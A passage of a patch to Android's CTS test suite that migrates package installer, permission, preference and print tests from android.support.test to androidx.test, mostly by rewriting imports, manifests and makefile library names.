--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -24,7 +24,7 @@
<uses-library android:name="android.test.runner"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:functionalTest="true"
android:targetPackage="android.packageinstaller.externalsources.cts"
android:label="External App Sources Tests"/>
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
index 7aa6a57..e0f19d7 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
@@ -21,9 +21,10 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.platform.test.annotations.AppModeInstant;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.AppOpsUtils;
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index a29264b..9af6fa3 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -21,11 +21,12 @@
import android.content.pm.ResolveInfo;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 2075137..1edd776 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -30,10 +30,10 @@
LOCAL_JAVA_LIBRARIES := telephony-common
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
+ ctstestrunner-axt \
guava \
android-ex-camera2 \
- compatibility-device-util
+ compatibility-device-util-axt
LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 118aeb5..e6d7a0e 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -64,7 +64,7 @@
package. That runner cannot be added to this package either, since it
relies on hidden APIs.
-->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.permission.cts"
android:label="CTS tests of android.permission">
<meta-data android:name="listener"
diff --git a/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java b/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
index 6a10918..c3631bc 100644
--- a/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
@@ -17,15 +17,16 @@
import static org.junit.Assert.fail;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.UserHandle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index d417a9a..e964719 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -16,32 +16,33 @@
package android.permission.cts;
+import static androidx.test.InstrumentationRegistry.getContext;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import static android.support.test.InstrumentationRegistry.getContext;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Environment;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
import android.system.StructStatVfs;
import android.util.Pair;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileDescriptor;
@@ -50,27 +51,27 @@
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
-import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStream;
import java.io.OutputStream;
import java.math.BigInteger;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
import java.util.Arrays;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Scanner;
import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Verify certain permissions on the filesystem
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index e2e8b93..70788d7 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -29,12 +29,13 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.platform.test.annotations.SecurityTest;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.widget.ScrollView;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
import org.junit.Before;
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index 736cf2f..8609e33 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -29,8 +29,9 @@
import android.content.Context;
import android.platform.test.annotations.AppModeInstant;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
index 2346d4a..383a4ca 100644
--- a/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
@@ -26,12 +26,12 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
-import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index d117e19..4d44f55 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -24,13 +24,15 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.media.AudioManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+
import java.util.Collections;
/**
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index c8b71c5..436ba27 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
guava
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/permission2/AndroidManifest.xml b/tests/tests/permission2/AndroidManifest.xml
index 9b2c966..065c0b4 100755
--- a/tests/tests/permission2/AndroidManifest.xml
+++ b/tests/tests/permission2/AndroidManifest.xml
@@ -64,7 +64,7 @@
android:name="android.permission.ACCESS_NETWORK_STATE"
android:maxSdkVersion="9000"/>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.permission2.cts"
android:label="More CTS tests for permissions">
<meta-data android:name="listener"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index 517f451..6179768 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -29,13 +29,13 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import android.text.TextUtils;
import android.util.ArrayMap;
import android.util.Log;
-import com.android.compatibility.common.util.PropertyUtil;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
import java.io.IOException;
@@ -91,7 +91,8 @@
}
PackageInfo factoryPkg = pm
- .getPackageInfo(packageName, MATCH_FACTORY_ONLY | GET_PERMISSIONS);
+ .getPackageInfo(packageName, MATCH_FACTORY_ONLY | GET_PERMISSIONS
+ | MATCH_UNINSTALLED_PACKAGES);
assertNotNull("No system image version found for " + packageName, factoryPkg);
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index 5398722..8791cff 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -23,7 +23,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/preference/AndroidManifest.xml b/tests/tests/preference/AndroidManifest.xml
index b0a60ed..d35e3ef 100644
--- a/tests/tests/preference/AndroidManifest.xml
+++ b/tests/tests/preference/AndroidManifest.xml
@@ -28,7 +28,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.preference.cts"
android:label="CTS tests of android.preference">
<meta-data android:name="listener"
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index 8fc5ee2..ca018ea 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -26,8 +26,8 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
mockito-target-minus-junit4 \
ub-uiautomator
diff --git a/tests/tests/preference2/AndroidManifest.xml b/tests/tests/preference2/AndroidManifest.xml
index e6929c3..312b870 100644
--- a/tests/tests/preference2/AndroidManifest.xml
+++ b/tests/tests/preference2/AndroidManifest.xml
@@ -46,7 +46,7 @@
</application>
<!-- This is a self-instrumenting test package. -->
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.preference2.cts"
android:label="CTS Test Cases for android.preference2">
<meta-data android:name="listener"
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
index e0f387b..decafbe 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
@@ -17,10 +17,11 @@
package android.preference2.cts;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
index 6b484bd..160141c 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
@@ -17,14 +17,16 @@
package android.preference2.cts;
import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+
import static org.junit.Assume.assumeFalse;
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
index b3d8b8d..c80eb19 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
@@ -20,9 +20,10 @@
import android.graphics.Bitmap;
import android.os.SystemClock;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.BitmapUtils;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
index cc93b44..961362c 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
@@ -45,9 +45,10 @@
import android.preference.PreferenceDataStore;
import android.preference.PreferenceManager;
import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
index a645dc8..85901c3 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
@@ -23,11 +23,12 @@
import android.preference.CheckBoxPreference;
import android.preference.PreferenceCategory;
import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
index 2ff651c..e9a9c7e 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
@@ -22,11 +22,12 @@
import android.preference.Preference;
import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index dd25f59..8e6cef5 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -24,13 +24,14 @@
import android.content.res.Configuration;
import android.graphics.Bitmap;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
import java.io.IOException;
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index c99fec3..b3c3f59 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -81,7 +81,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.print.cts"
android:label="Tests for the print APIs."/>
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
index 358861b..49c4791 100644
--- a/tests/tests/print/printTestUtilLib/Android.mk
+++ b/tests/tests/print/printTestUtilLib/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE := print-test-util-lib
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner-axt ub-uiautomator compatibility-device-util-axt androidx.test.rules
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 5c40dfc..f4a50d3 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -60,7 +60,6 @@
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
@@ -71,6 +70,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index a5e5d49..47d3f8d 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -26,7 +26,8 @@
import android.print.PrintAttributes.MediaSize;
import android.print.PrintAttributes.Resolution;
import android.print.PrintDocumentInfo;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index 0f061f7..60c6210 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -40,13 +40,14 @@
import android.print.test.services.PrinterDiscoverySessionCallbacks;
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.support.test.uiautomator.UiSelector;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
index 8ec44fe..6254048 100644
--- a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -37,10 +37,10 @@
import android.print.test.services.PrinterDiscoverySessionCallbacks;
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index c1abafc..4a9e7af 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -44,7 +44,8 @@
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index 7661ff9..eaf5991 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -38,9 +38,10 @@
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index 706f971..23ae620 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -44,9 +44,10 @@
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
index 63e83e3..298d48f 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -42,7 +42,8 @@
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index 2ab52b3..145b835 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -43,7 +43,8 @@
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index b5a23e2..53c72ee 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -59,11 +59,12 @@
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 3954948..433b32d 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -40,7 +40,8 @@
import android.print.test.services.PrinterDiscoverySessionCallbacks;
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 2531f80..5580cda 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -41,11 +41,12 @@
import android.print.test.services.StubbablePrinterDiscoverySession;
import android.printservice.PrintJob;
import android.printservice.PrinterDiscoverySession;
-import androidx.annotation.NonNull;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 6a65e00..6e67dee 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -33,11 +33,12 @@
import android.print.test.services.PrinterDiscoverySessionCallbacks;
import android.print.test.services.SecondPrintService;
import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObject;
import android.support.test.uiautomator.UiSelector;
import android.text.TextUtils;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
index 4c2b369..d758439 100644
--- a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -25,8 +25,9 @@
